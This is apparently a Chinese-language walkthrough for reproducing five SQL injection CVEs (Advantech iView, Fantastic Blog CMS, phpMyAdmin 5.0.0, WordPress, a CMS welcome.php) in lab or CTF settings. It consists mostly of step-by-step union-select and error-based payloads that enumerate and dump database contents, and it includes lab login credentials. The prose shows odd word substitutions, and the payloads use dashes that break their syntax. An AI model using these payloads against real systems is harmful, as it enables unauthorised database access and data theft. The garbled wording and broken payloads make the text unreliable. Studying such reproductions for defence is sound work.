一、研华iView SQL注入破绽(CVE-2022-3323)
1、环境搭建:准备一台安装有Windows操作系统的靶机,其IP地址为192.168.44.131,并在该靶机上安装研华iView 5.7.04.6469版本软件。
2、执行脚本:在攻击机上执行特定的Python脚本,该脚本会向研华iView软件的ConfigurationServlet端点发送请求,利用setConfiguration操作中column_value参数的SQL注入破绽,绕过com.imc.iview.utils.CUtils.checkSQLInjection()中的检查来执行SQL语句,获取数据库数据,当脚本执行完毕后,可以成功获取到iView-管理员密码等信息。
二、Sourcecodester Fantastic Blog CMS 1.0 SQL注入破绽(CVE-2022-28512)
1、判断注入点:打开Fantastic Blog (CMS)的登录页面,尝试在登录框中输入特殊字符进行测试,如“and 1=1”和“and 1=2”,发现页面显示正常,排除数字型注入;然后输入“3’”,页面报错,提示SQL语法错误,由此判断存在单引号闭合问题,构造payload为“id=3′–+”。
2、爆字段个数:在登录页面的URL中输入“id=3′ order by 9–+”,发现当order by后面的数字为10时页面报错,说明字段个数为9。
3、爆显位位置:输入“id=-3′ union select 1,2,3,4,5,6,7,8,9–+”,发现第4个位置可以注入,即在此处进行后续的SQL注入操作。
4、爆数据库名:输入“id=-3′ union select 1,2,3,database(),5,6,7,8,9–+”,得到数据库名为ctf。
5、爆数据库表名:输入“id=-3′ union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()–+”,得到数据库表名,其中关键表名为flag。
6、爆数据库列名:输入“id=-3′ union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag"–+”,得到列名flag。
7、爆数据库数据:输入“id=-3′ union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag –+”,成功获取到flag的值。
三、phpMyAdmin SQL注入破绽(CVE-2020-5504)
1、登录与确认版本:访问http://vulfocus.fofa.so:46629/pma/index.php,使用root账号和密码123456登录,查看phpMyAdmin的版本信息,确认为5.0.0版本,该版本存在SQL注入破绽。
2、构造Payload:根据破绽原理,构造特定的Payload,如“/server_privileges.php?ajax_request=true&validate_username=1&username=1%27and%20extractvalue(1,concat(0x7e,(select%20user()),0x7e))–+db=&token=7233732445545a2c2471503b3d287d62&viewing_mode=server”,其中token值需从后台页面通过Ctrl+U查找或抓包获取。
3、执行注入:将构造好的Payload添加到http://vulfocus.fofa.so:51039/pma目录下执行,若执行成功,会返回相应的数据库用户信息等,从而证明SQL注入破绽的存在。
四、WordPress SQL注入破绽(CVE-2022-21661)
1、分析破绽代码:WordPress的clean_query函数校验不当,导致可能通过插件或主题触发SQL注入,传入WP_Query的参数如果可控,就可以利用该破绽,new WP_Query($_POST[‘query_vars’])中$_POST[‘query_vars’]可控。
2、利用破绽:通过POST传入特定的参数值来控制WP_Query对象的构造函数的参数值,进而影响SQL查询语句的生成,实现SQL注入攻击,具体可利用WP_Tax_Query类的clean_query方法对变量校验不严格的特点,传入反面构造的tax_query数组,最终导致SQL注入。
五、某CMS welcome.php SQL注入破绽(CVE-2022-32991)
1、寻找注入点:进入该CMS的login.php页面进行登录,登录成功后进入welcome.php页面,发现start按钮对应的URL中有q参数,进一步深入发现eid参数存在SQL注入的可能。
2、判断注入类型:通过提交单引号等特殊字符进行测试,发现是单引号闭合的get提交的SQL注入。
3、爆字段个数:输入“eid=60377db362694′ order by 6–+”,发现6的时候报错,5正常,说明有5个字段。
4、爆显位位置:输入“eid=60377db362694′ union select 1,2,3,4,5–+”,发现显位3。
5、爆数据库名:输入“eid=60377db362694′ union select 1,2,database(),4,5–+”,得到数据库名为ctf。
6、爆数据库表名:输入“eid=60377db362694′ union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()–+”,得到所有表名,其中关键表名为flag。
7、爆数据库列名:输入“eid=60377db362694′ union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"–+”,得到列名为flag。
8、爆数据库数据:输入“eid=60377db362694′ union select 1,2,group_concat(flag),4,5 from flag –+”,成功得到flag。
这些案例展示了不同环境下CVE SQL注入破绽的复现过程,凸显了网络安全中SQL注入防范的重要性,开发者应重视代码安全审计,及时更新修复破绽,避免潜在风险,用户也需提高安全意识,谨慎操作,共同维护网络环境的安全稳定。